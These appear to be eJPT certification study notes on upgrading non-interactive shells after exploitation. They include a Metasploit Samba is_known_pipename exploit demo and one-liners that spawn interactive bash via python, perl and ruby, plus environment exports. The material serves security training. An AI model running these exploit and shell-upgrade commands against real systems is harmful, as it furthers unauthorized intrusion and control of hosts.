> For the complete documentation index, see [llms.txt](https://106-sam.gitbook.io/ejptv2-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://106-sam.gitbook.io/ejptv2-notes/post-exploitation/upgrading-shells.md).

# Upgrading Shells

### Upgrading Non-Interactive Shells

DEMO

```
msfconsole -q
> setg RHOST <IP>
> exploit with samba_is_known_pipename 
>  exploit

# pwd
# /bin/bash -i
# cat /etc/shells
# which python
# python --version
# python3 -c 'import pty; pty.spawn("/bin/bash")'
# which perl
```

* Upgrade TTY

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
```

```
perl -e 'exec "/bin/bash";'
```

```
ruby: exec "/bin/bash"
```

```
/bin/bash -i
```

* check after shell

```
# env
# export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
# export TERM=xterm
# export SHELL=bash
# env
```
